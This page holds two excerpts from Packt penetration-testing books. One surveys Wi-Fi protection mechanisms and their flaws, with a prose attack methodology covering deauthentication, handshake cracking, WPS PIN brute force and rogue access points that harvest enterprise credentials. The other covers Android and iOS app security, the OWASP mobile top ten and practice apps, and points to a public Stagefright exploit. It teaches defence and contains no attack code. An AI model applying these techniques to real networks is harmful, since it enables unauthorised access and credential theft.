Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Save more on your purchases now! discount-offer-chevron-icon
Savings automatically calculated. No voucher code required.
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Conferences
Free Learning
Arrow right icon

How-To Tutorials - Penetration Testing

54 Articles
article-image-common-wlan-protection-mechanisms-and-their-flaws
Packt
07 Mar 2016
19 min read
Save for later

Common WLAN Protection Mechanisms and their Flaws

Packt
07 Mar 2016
19 min read
In this article by Vyacheslav Fadyushin, the author of the book Building a Pentesting Lab for Wireless Networks, we will discuss various WLAN protection mechanisms and the flaws present in them. To be able to protect a wireless network, it is crucial to clearly understand which protection mechanisms exist and which security flaws do they have. This topic will be useful not only for those readers who are new to Wi-Fi security, but also as a refresher for experienced security specialists. (For more resources related to this topic, see here.) Hiding SSID Let's start with one of the common mistakes done by network administrators: relying only on the security by obscurity. In the frames of the current subject, it means using a hidden WLAN SSID (short for service set identification) or simply WLAN name. Hidden SSID means that a WLAN does not send its SSID in broadcast beacons advertising itself and doesn't respond to broadcast probe requests, thus making itself unavailable in the list of networks on Wi-Fi-enabled devices. It also means that normal users do not see that WLAN in their available networks list. But the lack of WLAN advertising does not mean that a SSID is never transmitted in the air—it is actually transmitted in plaintext with a lot of packet between access points and devices connected to them regardless of a security type used. Therefore, SSIDs are always available for all the Wi-Fi network interfaces in a range and visible for any attacker using various passive sniffing tools. MAC filtering To be honest, MAC filtering cannot be even considered as a security or protection mechanism for a wireless network, but it is still called so in various sources. So let's clarify why we cannot call it a security feature. Basically, MAC filtering means allowing only those devices that have MAC addresses from a pre-defined list to connect to a WLAN, and not allowing connections from other devices. MAC addresses are transmitted unencrypted in Wi-Fi and are extremely easy for an attacker to intercept without even being noticed (refer to the following screenshot): An example of wireless traffic sniffing tool easily revealing MAC addresses Keeping in mind the extreme simplicity of changing a physical address (MAC address) of a network interface, it becomes obvious why MAC filtering should not be treated as a reliable security mechanism. MAC filtering can be used to support other security mechanisms, but it should not be used as an only security measure for a WLAN. WEP Wired equivalent privacy (WEP) was born almost 20 years ago at the same time as the Wi-Fi technology and was integrated as a security mechanism for the IEEE 802.11 standard. Like it often happens with new technologies, it soon became clear that WEP contains weaknesses by design and cannot provide reliable security for wireless networks. Several attack techniques were developed by security researchers that allowed them to crack a WEP key in a reasonable time and use it to connect to a WLAN or intercept network communications between WLAN and client devices. Let's briefly review how WEP encryption works and why is it so easy to break. WEP uses so-called initialization vectors (IV) concatenated with a WLAN's shared key to encrypt transmitted packets. After encrypting a network packet, an IV is added to a packet as it is and sent to a receiving side, for example, an access point. This process is depicted in the following flowchart: The WEP encryption process An attacker just needs to collect enough IVs, which is also a trivial task using additional reply attacks to force victims to generate more IVs. Even worse, there are attack techniques that allow an attacker to penetrate WEP-protected WLANs even without connected clients, which makes those WLANs vulnerable by default. Additionally, WEP does not have a cryptographic integrity control, which makes it vulnerable not only to attacks on confidentiality. There are numerous ways how an attacker can abuse a WEP-protected WLAN, for example: Decrypt network traffic using passive sniffing and statistical cryptanalysis Decrypt network traffic using active attacks (reply attack, for example) Traffic injection attacks Unauthorized WLAN access Although WEP was officially superseded by the WPA technology in 2003, it still can be sometimes found in private home networks and even in some corporate networks (mostly belonging to small companies nowadays). But this security technology has become very rare and will not be used anymore in future, largely due to awareness in corporate networks and because manufacturers no longer activate WEP by default on new devices. In our humble opinion, device manufacturers should not include WEP support in their new devices to avoid its usage and increase their customers' security. From the security specialist's point of view, WEP should never be used to protect a WLAN, but it can be used for Wi-Fi security training purposes. Regardless of a security type in use, shared keys always add the additional security risk; users often tend to share keys, thus increasing the risk of key compromise and reducing accountability for key privacy. Moreover, the more devices use the same key, the greater amount of traffic becomes suitable for an attacker during cryptanalytic attacks, increasing their performance and chances of success. This risk can be minimized by using personal identifiers (key, certificate) for users and devices. WPA/WPA2 Due to numerous WEP security flaws, the next generation of Wi-Fi security mechanism became available in 2003: Wi-Fi Protected Access (WPA). It was announced as an intermediate solution until WPA2 is available and contained significant security improvements over WEP. Those improvements include: Stronger encryption Cryptographic integrity control: WPA uses an algorithm called Michael instead of CRC used in WEP. This is supposed to prevent altering data packets on the fly and protects from resending sniffed packets. Usage of temporary keys: The Temporal Key Integrity Protocol (TKIP) automatically changes encryption keys generated for every packet. This is the major improvement over the static WEP where encryption keys should be entered manually in an AP config. TKIP also operates RC4, but the way how it is used was improved. Support of client authentication: The capability to use dedicated authentication servers for user and device authentication made WPA suitable for use in large enterprise networks. The support of cryptographically strong algorithm Advanced Encryption Standard (AES) was implemented in WPA, but it was not set as mandatory, only optional. Although WPA was a significant improvement over WEP, it was a temporary solution before WPA2 was released in 2004 and became mandatory for all new Wi-Fi devices. WPA2 works very similar to WPA and the main differences between WPA and WPA2 is in the algorithms used to provide security: AES became the mandatory algorithm for encryption in WPA2 instead of default RC4 in WPA TKIP used in WPA was replaced by Counter Cipher Mode with Block Chaining Message Authentication Code Protocol (CCMP) Because of the very similar workflows, WPA and WPA2 are also vulnerable to the similar or the same attacks and usually called and spelled in one word WPA/WPA2. Both WPA and WPA2 can work in two modes: pre-shared key (PSK) or personal mode and enterprise mode. Pre-shared key mode Pre-shared key or personal mode was intended for home and small office use where networks have low complexity. We are more than sure that all our readers have met this mode and that most of you use it at home to connect your laptops, mobile phones, tablets, and so on to home networks. The general idea of PSK mode is using the same secret key on an access point and on a client device to authenticate the device and establish an encrypted connection for networking. The process of WPA/WPA2 authentication using a PSK consists of four phases and is also called a 4-way handshake. It is depicted in the following diagram: WPA/WPA2 4-way handshake The main WPA/WPA2 flaw in PSK mode is the possibility to sniff a whole 4-way handshake and brute-force a security key offline without any interaction with a target WLAN. Generally, the security of a WLAN mostly depends on the complexity of a chosen PSK. Computing a PMK (short for primary master key) used in 4-way handshakes (refer to the handshake diagram) is a very time-consuming process compared to other computing operations and computing hundreds of thousands of them can take very long. But in case of a short and low complexity PSK in use, a brute-force attack does not take long even on a not-so-powerful computer. If a key is complex and long enough, cracking it can take much longer, but still there are ways to speed up this process: Using powerful computers with CUDA (short for Compute Unified Device Architecture), which allows a software to directly communicate with GPUs for computing. As GPUs are natively designed to perform mathematical operations and do it much faster than CPUs, the process of cracking works several times faster with CUDA. Using rainbow tables that contain pairs of various PSKs and their corresponding precomputed hashes. They save a lot of time for an attacker because the cracking software just searches for a value from an intercepted 4-way handshake in rainbow tables and returns a key corresponding to the given PMK if there was a match instead of computing PMKs for every possible character combination. Because WLAN SSIDs are used in 4-way handshakes analogous to a cryptographic salt, PMKs for the same key will differ for different SSIDs. This limits the application of rainbow tables to a number of the most popular SSIDs. Using cloud computing is another way to speed up the cracking process, but it usually costs additional money. The more computing power can an attacker rent (or get through another ways), the faster goes the process. There are also online cloud-cracking services available in Internet for various cracking purposes including cracking 4-way handshakes. Furthermore, as with WEP, the more users know a WPA/WPA2 PSK, the greater the risk of compromise—that's why it is also not an option for big complex corporate networks. WPA/WPA2 PSK mode provides the sufficient level of security for home and small office networks only when a key is long and complex enough and is used with a unique (or at least not popular) WLAN SSID. Enterprise mode As it was already mentioned in the previous section, using shared keys itself poses a security risk and in case of WPA/WPA2 highly relies on a key length and complexity. But there are several factors in enterprise networks that should be taken into account when talking about WLAN infrastructure: flexibility, manageability, and accountability. There are various components that implement those functions in big networks, but in the context of our topic, we are mostly interested in two of them: AAA (short for authentication, authorization, and accounting) servers and wireless controllers. WPA-Enterprise or 802.1x mode was designed for enterprise networks where a high security level is needed and the use of AAA server is required. In most cases, a RADIUS server is used as an AAA server and the following EAP (Extensible Authentication Protocol) types are supported (and several more, depending on a wireless device) with WPA/WPA2 to perform authentication: EAP-TLS EAP-TTLS/MSCHAPv2 PEAPv0/EAP-MSCHAPv2 PEAPv1/EAP-GTC PEAP-TLS EAP-FAST You can find a simplified WPA-Enterprise authentication workflow in the following diagram: WPA-Enterprise authentication Depending on an EAP-type configured, WPA-Enterprise can provide various authentication options. The most popular EAP-type (based on our own experience in numerous pentests) is PEAPv0/MSCHAPv2, which is relatively easily integrated with existing Microsoft Active Directory infrastructures and is relatively easy to manage. But this type of WPA-protection is relatively easy to defeat by stealing and bruteforcing user credentials with a rogue access point. The most secure EAP-type (at least, when configured and managed correctly) is EAP-TLS, which employs certificate-based authentication for both users and authentication servers. During this type of authentication, clients also check server's identity and a successful attack with a rogue access point becomes possible only if there are errors in configuration or insecurities in certificates maintenance and distribution. It is recommended to protect enterprise WLANs with WPA-Enterprise in EAP-TLS mode with mutual client and server certificate-based authentication. But this type of security requires additional work and resources. WPS Wi-Fi Protected Setup (WPS) is actually not a security mechanism, but a key exchange mechanism which plays an important role in establishing connections between devices and access points. It was developed to make the process of connecting a device to an access point easier, but it turned out to be one of the biggest wholes in modern WLANs if activated. WPS works with WPA/WPA2-PSK and allows connecting devices to WLANs with one of the following methods: PIN: Entering a PIN on a device. A PIN is usually printed on a sticker at the back side of a Wi-Fi access point. Push button: Special buttons should be pushed on both an access point and a client device during the connection phase. Buttons on devices can be physical and virtual. NFC: A client should bring a device close to an access point to utilize the Near Field Communication technology. USB drive: Necessary connection information exchange between an access point and a device is done using a USB drive. Because WPS PINs are very short and their first and second parts are validated separately, online brute-force attack on a PIN can be done in several hours allowing an attacker to connect to a WLAN. Furthermore, the possibility of offline PIN cracking was found in 2014 which allows attackers to crack pins in 1 to 30 seconds, but it works only on certain devices. You should also not forget that a person who is not permitted to connect to a WLAN but who can physically access a Wi-Fi router or access point can also read and use a PIN or connect via push button method. Getting familiar with the Wi-Fi attack workflow In our opinion (and we hope you agree with us), planning and building a secure WLAN is not possible without the understanding of various attack methods and their workflow. In this topic, we will give you an overview of how attackers work when they are hacking WLANs. General Wi-Fi attack methodology After refreshing our knowledge about wireless threats and Wi-Fi security mechanisms, let's have a look at the attack methodology used by attackers in the real world. Of course, as with all other types of network attack, wireless attack workflows depend on certain situations and targets, but they still align with the following general sequence in almost all cases: The first step is planning. Normally, attackers need to plan what are they going to attack, how can they do it, which tools are necessary for the task, when is the best time and place to attack certain targets, and which configuration templates will be useful so that they can be prepared in advance. White-hat hackers or penetration testers need to set schedules and coordinate project plans with their customers, choose contact persons on a customer side, define project deliverables, and do some other organizational work if demanded. As with every penetration testing project, the better a project was planned (and we can use the word "project" for black-hat hackers' tasks), the more chances of a successful result. The next step is survey. Getting as accurate as possible and as much as possible information about a target is crucial for a successful hack, especially in uncommon network infrastructures. To hack a WLAN or its wireless clients, an attacker would normally collect at least SSIDs or MAC addresses of access points and clients and information about a security type in use. It is also very helpful for an attacker to understand if WPS is enabled on a target access point. All that data allows attackers not only to set proper configs and choose the right options for their tools, but also to choose appropriate attack types and conditions for a certain WLAN or Wi-Fi client. All collected information, especially non-technical (for example, company and department names, brands, or employee names), can also become useful at the cracking phase to build dictionaries for brute-force attacks. Depending on a type of security and attacker's luck, a data collected at the survey phase can even make the active attack phase unnecessary and allow an attacker to proceed directly with the cracking phase. The active attacks phase involves active interaction between an attacker and targets (WLANs and Wi-Fi clients). At this phase, attackers have to create conditions necessary for a chosen attack type and execute it. It includes sending various Wi-Fi management and control frames and installing rogue access points. If an attacker wants to cause a denial of service in a target WLAN as a goal, such attacks are also executed at this phase. Some of active attacks are essential to successfully hack a WLAN, but some of them are intended to just speed up hacking and can be omitted to avoid causing alarm on various wireless intrusion detection/prevention systems (wIDPS), which can possibly be installed in a target network. Thus, the active attacks phase can be called optional. Cracking is another important phase where an attacker cracks 4-way-hadshakes, WEP data, NTLM hashes, and so on, which were intercepted at the previous phases. There are plenty of various free and commercial tools and services including cloud cracking services. In case of success at this phase, an attacker gets the target WLAN's secret(s) and can proceed with connecting to the WLAN, decrypt intercepted traffic, and so on. The active attacking phase Let's have a closer look to the most interesting parts of the active attack phase—WPA-PSK and WPA-Enterprise attacks—in the following topics. WPA-PSK attacks As both WPA and WPA2 are based on the 4-way handshake, attacking them doesn't differ—an attacker needs to sniff a 4-way handshake in the moment, establishing a connection between an access point and an arbitrary wireless client and bruteforcing a matching PSK. It does not matter whose handshake is intercepted, because all clients use the same PSK for a given target WLAN. Sometimes, attackers have to wait long until a device connects to a WLAN to intercept a 4-way handshake and of course they would like to speed up the process when possible. For that purpose, they force already connected device to disconnect from an access point sending control frames (deauthentication attack) on behalf of a target access point. When a device receives such a frame, it disconnects from a WLAN and tries to reconnect again if the "automatic reconnect" feature is enabled (it is enabled by default on most devices), thus performing another one 4-way handshake that can be intercepted by an attacker. Another possibility to hack a WPA-PSK protected network is to crack a WPS PIN if WPS is enabled on a target WLAN. Enterprise WLAN attacks Attacking becomes a little bit more complicated if WPA-Enterprise security is in place, but could be executed in several minutes by a properly prepared attacker by imitating a legitimate access point with a RADIUS server and by gathering user credentials for further analysis (cracking). To settle this attack, an attacker needs to install a rogue access point with a SSID identical to a target WLAN's SSID and set other parameter (like EAP type) similar to the target WLAN to increase chances on success and reduce the probability of the attack to be quickly detected. Most user Wi-Fi devices choose an access point for a connection to a certain WLAN by a signal strength—they connect to that one which has the strongest signal. That is why an attacker needs to use a powerful Wi-Fi interface for a rogue access point to override signals from legitimate ones and make devices around connect to the rogue access point. A RADIUS server used during such attacks should have a capability to record authentication data, NTLM hashes, for example. From a user perspective, being attacked in such way looks just being unable to connect to a WLAN for an unknown reason and could even be not seen if a user is not using a device at the moment and just passing by a rogue access point. It is worth mentioning that classic physical security or wireless IDPS solutions are not always effective in such cases. An attacker or a penetration tester can install a rogue access point outside of the range of a target WLAN. It will allow hacker to attack user devices without the need to get into a physically controlled area (for example, office building), thus making the rogue access point unreachable and invisible for wireless IDPS systems. Such a place could be a bus or train station, parking or a café where a lot of users of a target WLAN go with their Wi-Fi devices. Unlike WPA-PSK with only one key shared between all WLAN users, the Enterprise mode employs personified credentials for each user whose credentials could be more or less complex depending only on a certain user. That is why it is better to collect as many user credentials and hashes as possible thus increasing the chances of successful cracking. Summary In this article, we looked at the security mechanisms that are used to secure access to wireless networks, their typical threads, and common misconfigurations that lead to security breaches and allow attacker to harm corporate and private wireless networks. The brief attack methodology overview has given us a general understanding of how attackers normally act during wireless attacks and how they bypass common security mechanisms by abusing certain flaws in those mechanisms. We also saw that the most secure and preferable way to protect a wireless network is to use WPA2-Enterprise security along with a mutual client and server authentication, which we are going to implement in our penetration testing lab. Resources for Article: Further resources on this subject: Pentesting Using Python [article] Advanced Wireless Sniffing [article] Wireless and Mobile Hacks [article]
Read more
  • 0
  • 0
  • 5504

article-image-android-and-ios-apps-testing-glance
Packt
02 Feb 2016
21 min read
Save for later

Android and iOS Apps Testing at a Glance

Packt
02 Feb 2016
21 min read
In this article by Vijay Velu, the author of Mobile Application Penetration Testing, we will discuss the current state of mobile application security and the approach to testing for vulnerabilities in mobile devices. We will see the major players in the smartphone OS market and how attackers target users through apps. We will deep-dive into the architecture of Android and iOS to understand the platforms and its current security state, focusing specifically on the various vulnerabilities that affect apps. We will have a look at the Open Web Application Security Project (OWASP) standard to classify these vulnerabilities. The readers will also get an opportunity to practice the security testing of these vulnerabilities via the means of readily available vulnerable mobile applications. The article will have a look at the step-by-step setup of the environment that's required to carry out security testing of mobile applications for Android and iOS. We will also explore the threats that may arise due to potential vulnerabilities and learn how to classify them according to their risks. (For more resources related to this topic, see here.) Smartphones' market share Understanding smartphones' market share will give us a clear picture about what cyber criminals are after and also what could be potentially targeted. The mobile application developers can propose and publish their applications on the stores and be rewarded by a revenue share of the selling price. The following screenshot that was taken from www.idc.com provides us with the overall smartphone OS market in 2015: Since mobile applications are platform-specific, majority of the software vendors are forced to develop applications for all the available operating systems. Android operating system Android is an open source, Linux-based operating system for mobile devices (smartphones and tablet computers). It was developed by the Open Handset Alliance, which was led by Google and other companies. Android OS is Linux-based. It can be programmed in C/C++, but most of the application development is done in Java (Java accesses C libraries via JNI, which is short for Java Native Interface). iPhone operating system (iOS) It was developed by Apple Inc. It was originally released in 2007 for iPhone, iPod Touch, and Apple TV. Apple's mobile version of the OS X operating system that's used in Apple computers is iOS. Berkeley Software Distribution (BSD) is UNIX-based and can be programmed in Objective C. Public Android and iOS vulnerabilities Before we proceed with different types of vulnerabilities on Android and iOS, this section introduces you to Android and iOS as an operating system and covers various fundamental concepts that need to be understood to gain experience in mobile application security. The following table comprises year-wise operating system releases: Year Android iOS 2007/2008 1.0 iPhone OS 1 iPhone OS 2 2009 1.1 iPhone OS 3 1.5 (Cupcake) 2.0 (Eclair) 2.0.1(Eclair) 2010 2.1 (Eclair) iOS 4 2.2 (Froyo) 2.3-2.3.2(Gingerbread) 2011 2.3.4-2.3.7 (Gingerbread) iOS 5 3.0 (HoneyComb) 3.1 (HoneyComb) 3.2 (HoneyComb) 4.0-4.0.2 (Ice Cream Sandwich) 4.0.3-4.0.4 (Ice Cream Sandwich) 2012 4.1 (Jelly Bean) iOS 6 4.2 (Jelly Bean) 2013 4.3 (Jelly bean) iOS 7 4.4 (KitKat) 2014 5.0 (Lollipop) iOS 8 5.1 (Lollipop) 2015   iOS 9 (beta) An interesting research conducted by Hewlett Packard (HP), a software giant that tested more than 2,000 mobile applications from more than 600 companies, has reported the following statistics (for more information, visit http://www8.hp.com/h20195/V2/GetPDF.aspx/4AA5-1057ENW.pdf): 97% of the applications that were tested access at least one private information source of these applications 86% of the applications failed to use simple binary-hardening protections against modern-day attacks 75% of the applications do not use proper encryption techniques when storing data on a mobile device 71% of the vulnerabilities resided on the web server 18% of the applications sent usernames and password over HTTP (of the remaining 85%, 18% implemented SSL/HTTPS incorrectly) So, the key vulnerabilities to mobile applications arise due to a lack of security awareness, "usability versus security trade-off" by developers, excessive application permissions, and a lack of privacy concerns. Coupling this with a lack of sufficient application documentation leads to vulnerabilities that developers are not aware of. Usability versus security trade-off For every developer, it would not be possible to provide users with an application with high security and usability. Making any application secure and usable takes a lot of effort and analytical thinking. Mobile application vulnerabilities are broadly categorized as follows: Insecure transmission of data: Either an application does not enforce any kind of encryption for data in transit on a transport layer, or the implemented encryption is insecure. Insecure data storage: Apps may store data either in a cleartext or obfuscated format, or hard-coded keys in the mobile device. An example e-mail exchange server configuration on Android device that uses an e-mail client stores the username and password in cleartext format, which is easy to reverse by any attacker if the device is rooted. Lack of binary protection: Apps do not enforce any anti-reversing, debugging techniques. Client-side vulnerabilities: Apps do not sanitize data provided from the client side, leading to multiple client-side injection attacks such as cross-site scripting, JavaScript injection, and so on. Hard-coded passwords/keys: Apps may be designed in such a way that hard-coded passwords or private keys are stored on the device storage. Leakage of private information: Apps may unintentionally leak private information. This could be due to the use of a particular framework and obscurity assumptions of developers. Android vulnerabilities In July 2015, a security company called Zimperium announced that it discovered a high-risk vulnerability named Stagefright inside the Android operating system. They deemed it as a unicorn in the world of Android risk, and it was practically demonstrated in one of the hacking conferences in the US on August 5, 2015. More information can be found at https://blog.zimperium.com/stagefright-vulnerability-details-stagefright-detector-tool-released/; a public exploit is available at https://www.exploit-db/exploits/38124/. This has made Google release security patches for all Android operating systems, which is believed to be 95% of the Android devices, which is an estimated 950 million users. The vulnerability is exploited through a particular library, which can let attackers take control of an Android device by sending a specifically crafted multimedia services like Multimedia Messaging Service (MMS). If we take a look at the superuser application downloads from the Play Store, there are around 1 million to 5 million downloads. It can be assumed that a major portion of Android smartphones are rooted. The following graphs show the Android vulnerabilities from 2009 until September 2015. There are currently 54 reported vulnerabilities for the Android Google operating system (for more information, visit http://www.cvedetails.com/product/19997/Google-Android.html?vendor_id=1224). More features that are introduced to the operating system in the form of applications act as additional entry points that allow cyber attackers or security researchers to circumvent and bypass the controls that were put in place. iOS vulnerabilities On June 18, 2015, password stealing vulnerability, also known as Cross Application Reference Attack (XARA), was outlined for iOS and OS X. It cracked the keychain services on jailbroken and non-jailbroken devices. The vulnerability is similar to cross-site request forgery attack in web applications. In spite of Apple's isolation protection and its App Store's security vetting, it was possible to circumvent the security controls mechanism. It clearly provided the need to protect the cross-app mechanism between the operating system and the app developer. Apple rolled a security update week after the XARA research. More information can be found at http://www.theregister.co.uk/2015/06/17/apple_hosed_boffins_drop_0day_mac_ios_research_blitzkrieg/ The following graphs show the vulnerabilities in iOS from 2007 until September 2015. There are around 605 reported vulnerabilities for Apple iPhone OS (for more information, visit http://www.cvedetails.com/product/15556/Apple-Iphone-Os.html?vendor_id=49). As you can see, the vulnerabilities kept on increasing year after year. A majority of the vulnerabilities reported are denial-of-service attacks. This vulnerability makes the application unresponsive. Primarily, the vulnerabilities arise due to insecure libraries or overwriting with plenty of buffer in the stacks. Rooting/jailbreaking Rooting/jailbreaking refers to the process of removing the limitations imposed by the operating system on devices through the use of exploit tools. Rooting/jailbreaking enables users to gain complete control over the operating system of a device. OWASP's top ten mobile risks In 2013, OWASP polled the industry for new vulnerability statistics in the field of mobile applications. The following risks were finalized in 2014 as the top ten dangerous risks as per the result of the poll data and mobile application threat landscape: M1: Weak server-side controls: Internet usage via mobiles has surpassed fixed Internet access. This is largely due to the emergence of hybrid and HTML5 mobile applications. Application servers that form the backbone of these applications must be secured on their own. The OWASP top 10 web application project defines the most prevalent vulnerabilities in this realm. Vulnerabilities such as injections, insecure direct object reference, insecure communication, and so on may lead to the complete compromise of an application server. Adversaries who have gained control over the compromised servers can push malicious content to all the application users and compromise user devices as well. M2: Insecure data storage: Mobile applications are being used for all kinds of tasks such as playing games, fitness monitors, online banking, stock trading, and so on, and most of the data used by these applications are either stored in the device itself inside SQLite files, XML data stores, log files, and so on, or they are pushed on to Cloud storage. The types of sensitive data stored by these applications may range from location information to bank account details. The application programing interfaces (API) that handle the storage of this data must securely implement encryption/hashing techniques so that an adversary with direct access to these data stores via theft or malware will not be able to decipher the sensitive information that's stored in them. M3: Insufficient transport layer protection: "Insecure Data Storage", as the name says, is about the protection of data in storage. But as all the hybrid and HTML 5 apps work on client-server architecture, emphasis on data in motion is a must, as the data will have to traverse through various channels and will be susceptible to eavesdropping and tampering by adversaries. Controls such as SSL/TLS, which enforce confidentiality and integrity of data, must be verified for correct implementations on the communication channel from the mobile application and its server. M4: Unintended data leakage: Certain functionalities of mobile applications may place users' sensitive data in locations where it can be accessed by other applications or even by malware. These functionalities may be there in order to enhance the usability or user experience but may pose adverse effects in the long run. Actions such as OS data caching, key press logging, copy/paste buffer caching, and implementations of web beacons or analytics cookies for advertisement delivery can be misused by adversaries to gain information about users. M5: Poor authorization and authentication: As mobile devices are the most "personal" devices, developers utilize this to store important data such as credentials locally in the device itself and come up with specific mechanisms to authenticate and authorize users locally for the services that users request via the application. If these mechanisms are poorly developed, adversaries may circumvent these controls and unauthorized actions can be performed. As the code is available to adversaries, they can perform binary attacks and recompile the code to directly access authorized content. M6: Broken cryptography: This is related to the weak controls that are used to protect data. Using weak cryptographic algorithms such as RC2, MD5, and so on, which can be cracked by adversaries, will lead to encryption failure. Improper encryption key management when a key is stored in locations accessible to other applications or the use of a predictable key generation technique will also break the implemented cryptography techniques. M7: Client-side injection: Injection vulnerabilities are the most common web vulnerabilities according to OWASP web top 10 dangerous risks. These are due to malformed inputs, which cause unintended action such as an alteration of database queries, command execution, and so on. In case of mobile applications, malformed inputs can be a serious threat at the local application level and server side as well (refer to M1: Weak server-side controls). Injections at a local application level, which mainly target data stores, may result in conditions such as access to paid content that's locked for trial users or file inclusions that may lead to an abuse of functionalities such as SMSes. M8: Security decisions via untrusted inputs: An implementation of certain functionalities such as the use of hidden variables to check authorization status can be bypassed by tampering them during the transit via web service calls or inter-process communication calls. This may lead to privilege escalations and unintended behavior of mobile applications. M9: Improper session handling: The application server sends back a session token on successful authentication with the mobile application. These session tokens are used by the mobile application to request for services. If these session tokens remain active for a longer duration and adversaries obtain them via malware or theft, the user account can be hijacked. M10: Lack of binary protection: A mobile application's source code is available to all. An attacker can reverse engineer the application and insert malicious code components and recompile them. If these tampered applications are installed by a user, they will be susceptible to data theft and may be the victims of unintended actions. Most applications do not ship with mechanisms such as checksum controls, which help in deducing whether the application is tampered or not. In 2015, there was another poll under the OWASP Mobile security group named the "umbrella project". This leads us to have M10 to M2, the trends look at binary protection to take over weak server-side controls. However, we will have wait until the final list for 2015. More details can be found at https://www.owasp.org/images/9/96/OWASP_Mobile_Top_Ten_2015_-_Final_Synthesis.pdf. Vulnerable applications to practice The open source community has been proactively designing plenty of mobile applications that can be utilized for practical tests. These are specifically designed to understand the OWASP top ten risks. Some of these applications are as follows: iMAS: iMAS is a collaborative research project initiated by the MITRE corporation (http://www.mitre.org/). This is for application developers and security researchers who would like to learn more about attack and defense techniques in iOS. More information about iMAS can be found at https://github.com/project-imas/about. GoatDroid: A simple functional mobile banking application for training with location tracking developed by Jack and Ken for Android application security is a great starting point for beginners. More information about GoatDroid can be found at https://github.com/jackMannino/OWASP-GoatDroid-Project. iGoat: The OWASP's iGOAT project is similar to the WebGoat web application framework. It's designed to improve the iOS assessment techniques for developers. More information on iGoat can be found at https://code.google.com/p/owasp-igoat/. Damn Vulnerable iOS Application (DVIA): DVIA is an iOS application that provides a platform for developers, testers, and security researchers to test their penetration testing skills. This application covers all the OWASP's top 10 mobile risks and also contains several challenges that one can solve and come up with custom solutions. More information on the Damn Vulnerable iOS Application can be found at http://damnvulnerableiosapp.com/. MobiSec: MobiSec is a live environment for the penetration testing of mobile environments. This framework provides devices, applications, and supporting infrastructure. It provides a great exercise for testers to view vulnerabilities from different points of view. More information on MobiSec can be found at http://sourceforge.net/p/mobisec/wiki/Home/. Android application sandboxing Android utilizes the well-established Linux protection ring model to isolate applications from each other. In Linux OS, assigning unique ID segregates every user. This ensures that there is no cross account data access. Similarly in Android OS, every app is assigned with its own unique ID and is run as a separate process. As a result, an application sandbox is formed at the kernel level, and the application will only be able to access the resources for which it is permitted to access. This subsequently ensures that the app does not breach its work boundaries and initiate any malicious activity. For example, the following screenshot provides an illustration of the sandbox mechanism: From the preceding Android Sandbox illustration, we can see how the unique Linux user ID created per application is validated every time a resource mapped to the app is accessed, thus ensuring a form of access control. Android Studio and SDK On May 16, 2013 at the Google I/O conference, an Integrated Development Environment (IDE) was released by Katherine Chou under Apache license 2.0; it was called Android Studio and it's used to develop apps on the Android platform. It entered the beta stage in 2014, and the first stable release was on December 2014 from Version 1.0 and it has been announced the official IDE on September 15, 2015. Information on Android Studio and SDK is available at http://developer.android.com/tools/studio/index.html#build-system. Android Studio and SDK heavily depends on the Java SE Development Kit. Java SE Development Kit can be downloaded at http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html. Some developers prefer different IDEs such as eclipse. For them, Google only offers SDK downloads (http://dl.google.com/android/installer_r24.4.1-windows.exe). There are minimum system requirements that need to be fulfilled in order to install and use the Android Studio effectively. The following procedure is used to install the Android Studio on Windows 7 Professional 64-bit Operating System with 4 GB RAM, 500 Gig Hard Disk Space, and Java Development Kit 7 installed: Install the IDE available for Linux, Windows, and Mac OS X. Android Studio can be downloaded by visiting http://developer.android.com/sdk/index.html. Once the Android Studio is downloaded, run the installer file. By default, an installation window will be shown, as shown in the following screenshot. Click on Next: This setup will automatically check whether the system meets the requirements. Choose all the components that are required and click on Next. It is recommended to read and accept the license and click on Next. It is always recommended to create a new folder to install the tools that will help us track all the evidence in a single place. In this case, we have created a folder called Hackbox in C:, as shown in the following screenshot: Now, we can allocate the space required for the Android-accelerated environment, which will provide better performance. So, it is recommended to allocate a minimum of 2GB for this space. All the necessary files will be extracted to C:Hackbox. Once the installation is complete, you will be able to launch Android Studio, as shown in the following screenshot: Android SDK Android SDK provides developers with the ability to completely build, test, and debug apps that run on the Android platform. It has all the relevant software libraries, APIs, system images of the emulators, documentations, and other tools that help create an Android app. We have installed Android Studio with Android SDK. It is crucial to understand how to utilize the in-built SDK tools as much as possible. This section provides an overview of some of the critical tools that we will be using when attacking an Android app during the penetration testing activity. Emulator, simulators, and real devices Sometimes, we tend to believe that all virtual emulations work in exactly the same way in real devices, which is not really the case. Especially for Android, we have multiple OEMs manufacturing multiple devices, with different chipsets running different versions of Android. It would be challenge for developers to ensure that all the functionalities for the app reflect in the same way in all devices. It is very crucial to understand the difference between an emulator, simulator, and real devices. Simulators An objective of a simulator is to simulate the state of an object, which is exactly the same state as that of an object. It is preferable that the testing happens when a mobile interacts with some of the natural behavior of the available resources. These are reimplementations of the original software applications that are written, and they are difficult to debug and are mostly writing in high-level languages. Emulators Emulators predominantly aim at replicating the closest possible behavior of mobile devices. These are typically used to test a mobile's behavior internally, such as hardware, software, and firmware updates. These are typically written in machine-level languages and are easy to debug. This is again the reimplementation of the real software. Pros Fast, simple, and little or no price associated Emulators/simulators are quickly available to test the majority of the functionality of the app that is being developed It is very easy to find the defects using emulators and fix issues Cons The risk of false positives is increased; some of the functions or protection may actually not work on a real device. Differences in software and hardware will arise. Some of the emulators might be able to mimic the hardware. However, it may or may not work when it is actually installed on that particular hardware in reality. There's a lack of network interoperability. Since emulators are not really connected to a Wi-Fi or cellular network, it may not be possible to test network-based risks/functions. Real devices Real devices are physical devices that a user will be interacting with. There are pros and cons of real devices too. Pros Lesser false positives: Results are accurate Interoperability: All the test cases are on a live environment User experience: Real user experience when it comes to the CPU utilization, memory, and so on for a provided device Performance: Performance issues can be found quickly with real handsets Cons Costs: There are plenty of OEMs, and buying all the devices is not viable. A slowdown in development: It may not be possible to connect an IDE and than emulators. This will significantly slow down the development process. Other issues: The devices that are locally connected to the workstation will have to ensure that USB ports are open, thus opening an additional entry point. Threats A threat is something that can harm an asset that we are trying to protect. In mobile device security, a threat is a possible danger that might exploit a vulnerability to compromise and cause potential harm to a device. A threat can be defined by the motives; it can be any of the following ones: Intentional: An individual or a group with an aim to break an application and steal information Accidental: The malfunctioning of a device or an application may lead to a potential disclosure of sensitive information Others: Capabilities, circumstantial, and so on Threat agents A threat agent is used to indicate an individual or a group that can manifest a threat. Threat agents will be able to perform the following actions: Access Misuse Disclose Modify Deny access 